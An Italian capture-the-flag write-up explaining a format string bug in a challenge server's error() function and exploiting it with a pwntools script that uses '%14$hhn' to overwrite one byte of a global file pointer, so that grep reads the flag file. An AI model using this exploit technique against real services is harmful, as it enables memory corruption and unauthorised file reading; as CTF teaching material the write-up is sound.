Write-Up 16/12/2020, Lorenzo Susini

Nel codice c'è una vulnerabilità del tipo format string. Se non viene riconosciuto un comando (ovvero una stringa diversa da STS e FND), viene chiamata la funzione error. Questa funzione utilizza alla linea 125 la funzione fprinf(), con format string controllabile dall'attaccante.

Un'altra cosa importante è che PIE non è abilitato (da output di *checksec*) . Possiamo quindi sapere esattamente la posizione di variabili globali, in particolare quella dei puntatori ai file della licenza e del db. L'idea potrebbe essere quindi fare sì che il db file punti al file che contiene il flag. In questo modo grep verrà eseguito in quel file. Conosciamo anche il modo in cui inizia la stringa del flag, quindi possiamo passarla come argomento a grep. In questo modo il flag sarà stampato a video dell'attaccante.

Per far sì che un attacco format string esprima il massimo, dobbiamo indurre fprintf a fare cercare i suoi argomenti sullo stack, fino al raggiungimento della format string stessa. In questo caso quindi facciamo sì di scrivere l'indirizzo in cui vogliamo scrivere

Con python3 -c 'print("AAAA" + "%p "*20)' si nota che 0x41414141 (corrispondente alle A all'inizio del buffer) viene raggiunto dal 14esimo %p. Confermato anche dalla stringa "AAAA%14$p", per andare a prendersi direttamente il 14esimo argomento.
I primi 4 byte dunque possono essere usati per un indirizzo, in particolare quello del puntatore al dbfile. Osservando dove stanno puntando i due puntatori (dbfile e licensefile), ci si può accorgere che solo un byte è differente, quindi si può scrivere solo un byte con l'opzione "hhn". L'attacco può essere lanciato con *python3 solve.py | nc localhost 10000,* dove solve.py è il seguente script.

```
from pwn import *
import sys

dbfile = 0x0804e0ec
#dbfile_content = # 0xff835335
licensefile = 0x0804e0f0
#licensefile_content #0xff835329

# 0x29 = 41

buf = p32(dbfile)
buf += b"A"*(41-4) + b"%14$hhn" + b"\n"
buf += b"FND Team\n"

sys.stdout.buffer.write(buf)
```

Si noti il 41 - 4: 4 byte erano già stati stampati (quelli corrispondenti all'indirizzo), perciò vanno tolti al totale di quelli da scrivere.
Gli indirizzi a cui puntano i puntatori sono stati ottenuti attaccando gdb al server mentre è running, con *gdb -p <pid del server>*